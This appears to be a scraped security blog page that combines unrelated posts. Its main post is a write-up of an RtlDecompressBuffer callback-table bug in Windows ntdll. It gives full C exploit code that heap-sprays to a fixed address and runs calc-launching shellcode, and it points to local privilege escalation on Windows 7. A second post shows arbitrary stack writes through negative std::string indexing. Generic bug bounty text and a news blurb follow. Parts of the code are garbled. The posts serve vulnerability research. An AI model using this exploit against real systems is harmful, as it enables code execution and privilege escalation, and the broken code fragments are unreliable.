Kayla and the Sea Turtles

8/22/20

RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table

Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
  int result; // eax@4

  if ( algorithm & algorithm != 1 )
  {
    if ( algorithm & 0xF0 )
      result = -1073741217;
    else
      result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
  }
  else
  {
    result = -1073741811;
  }
  return result;
}

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.

let's check the disassembly on Win7 32bits:

the movzx limits the boundaries to 16bits
the test ax, ax avoids the algorithm 0
the cmp ax, 1 avoids the algorithm 1
the test al, 0F0h limits the boundary .. wait .. al?

Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}

int main(void) {
printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9?

So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:

And the exploit code:

/*
    ntdll!RtlDecompressBuffer() vtable exploit + heap spray
    by @sha0coder

*/

#include 
#include 
#include 

#define KB  1024
#define MB  1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9

// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/

// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
       "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
       "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
       "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
       "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
       "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
       "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
       "\x45\x81\x3e\x43\x72\x65\x61\x75"
       "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
       "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
       "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
       "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
       "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
       "\x6c\x63\x89\xe2\x52\x52\x53\x53"
       "\x53\x53\x53\x53\x52\x53\xff\xd7";


PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits

void fail(const char *msg) {
  printf("%s\n\n", msg);
  exit(1);
}

PUCHAR spray(HANDLE heap) {
  PUCHAR map = 0;

  printf("Spraying ...\n");
  printf("Aproximating to %p\n", landing_ptr);

  while (map < landing_ptr-1*MB) {
    map = HeapAlloc(heap, 0, 1*MB);
  }

  //map = HeapAlloc(heap, 0, 1*MB);

  printf("Aproximated to [%x - %x]\n", map, map+1*MB);


  printf("Landing adddr: %x\n", landing_ptr);
  printf("Offset of landing adddr: %d\n", landing_ptr-map);

  return map;
}

void landing_sigtrap(int num_of_traps) {
  memset(landing_ptr, 0xcc, num_of_traps);
}

void copy_shellcode(void) {
  memcpy(landing_ptr, shellcode, strlen(shellcode));

}

int main(int argc, char **argv) {
  FARPROC RtlDecompressBuffer;
  NTSTATUS ntStat;
  HANDLE heap;
  PUCHAR compressed, uncompressed;
  ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;

  RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");

  heap = GetProcessHeap();

  compressed_sz = estimated_uncompressed_sz = 1*KB;

  compressed = HeapAlloc(heap, 0, compressed_sz);

  uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);


  spray(heap);
  copy_shellcode();
  //landing_sigtrap(1*KB);
  printf("Landing ...\n");

  ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);

  switch(ntStat) {
    case STATUS_SUCCESS:
      printf("decompression Ok!\n");
      break;

    case STATUS_INVALID_PARAMETER:
      printf("bad compression parameter\n");
      break;


    case STATUS_UNSUPPORTED_COMPRESSION:
      printf("unsuported compression\n");
      break;

    case STATUS_BAD_COMPRESSION_BUFFER:
      printf("Need more uncompressed buffer\n");
      break;

    default:
      printf("weird decompression state\n");
      break;
  }

  printf("end.\n");
}

The attack vector


This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

More information

8/21/20

C++ Std::String Buffer Overflow And Integer Overflow

Interators are usually implemented using signed integers like the typical "for (int i=0; ..." and in fact is the type used indexing "cstr[i]", most of methods use the signed int, int by default is signed.
Nevertheless, the "std::string::operator[]" index is size_t which is unsigned, and so does size(), and same happens with vectors.
Besides the operator[] lack of negative index control, I will explain this later.

Do the compilers doesn't warn about this?

If his code got a large input it would index a negative numer, let see g++ and clang++ warnings:

No warnings so many bugs out there...

In order to reproduce the crash we can load a big string or vector from file, for example:

I've implemented a loading function, getting the file size with tellg() and malloc to allocate the buffer, then in this case used as a string.
Let see how the compiler write asm code based on this c++ code.

So the string constructor, getting size and adding -2 is clear. Then come the operator<< to concat the strings.
Then we see the operator[] when it will crash with the negative index.
In assembly is more clear, it will call operator[] to get the value, and there will hapen the magic dereference happens. The operator[] will end up returning an invalid address that will crash at [RAX]

In gdb the operator[] is a allq 0x555555555180 <_znst7__cxx1112basic_stringicst11char_traitsicesaiceeixem plt="">

(gdb) i r rsi
rsi 0xfffffffffffefffe -65538

The implmementation of operator ins in those functions below:

(gdb) bt
#0 0x00007ffff7feebf3 in strcmp () from /lib64/ld-linux-x86-64.so.2
#1 0x00007ffff7fdc9a5 in check_match () from /lib64/ld-linux-x86-64.so.2
#2 0x00007ffff7fdce7b in do_lookup_x () from /lib64/ld-linux-x86-64.so.2
#3 0x00007ffff7fdd739 in _dl_lookup_symbol_x () from /lib64/ld-linux-x86-64.so.2
#4 0x00007ffff7fe1eb7 in _dl_fixup () from /lib64/ld-linux-x86-64.so.2
#5 0x00007ffff7fe88ee in _dl_runtime_resolve_xsavec () from /lib64/ld-linux-x86-64.so.2
#6 0x00005555555554b3 in main (argc=2, argv=0x7fffffffe118) at main.cpp:29

Then crashes on the MOVZX EAX, byte ptr [RAX]

Program received signal SIGSEGV, Segmentation fault.

0x00005555555554b3 in main (argc=2, argv=0x7fffffffe118) at main.cpp:29
29 cout << "penultimate byte is " << hex << s[i] << endl;
(gdb)

What about negative indexing in std::string::operator[] ?
It's exploitable!

In a C char array is known that having control of the index, we can address memory.
Let's see what happens with C++ strings:

The operator[] function call returns the address of string plus 10, and yes, we can do abitrary writes.

Note that gdb displays by default with at&t asm format wich the operands are in oposite order:

And having a string that is in the stack, controlling the index we can perform a write on the stack.

To make sure we are writing outside the string, I'm gonna do 3 writes:

See below the command "i r rax" to view the address where the write will be performed.

The beginning of the std::string object is 0x7fffffffde50.
Write -10 writes before the string 0x7fffffffde46.
And write -100 segfaults because is writting in non paged address.

So, C++ std::string probably is not vulnerable to buffer overflow based in concatenation, but the std::string::operator[] lack of negative indexing control and this could create vulnerable and exploitable situations, some times caused by a signed used of the unsigned std::string.size()

$$$ Bug Bounty $$$

What is Bug Bounty ?

A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.

Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.

Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1. In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.

While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.

Related links

Microsoft Issues Emergency Security Updates For Windows 8.1 And Server 2012 R2

Microsoft has issued an emergency out-of-band software update for Windows 8.1, Windows RT 8.1, and Windows Server 2012 R2 systems to patch two new recently disclosed security vulnerabilities. Tracked as CVE-2020-1530 and CVE-2020-1537, both flaws reside in the Remote Access Service (RAS) in a way it manages memory and file operations and could let remote attackers gain elevated privileges

via The Hacker News

Kayla and the Sea Turtles

8/22/20

RtlDecompresBuffer Vulnerability

8/21/20

C++ Std::String Buffer Overflow And Integer Overflow

More articles

$$$ Bug Bounty $$$

Microsoft Issues Emergency Security Updates For Windows 8.1 And Server 2012 R2

Related links

Blog Archive

Lookers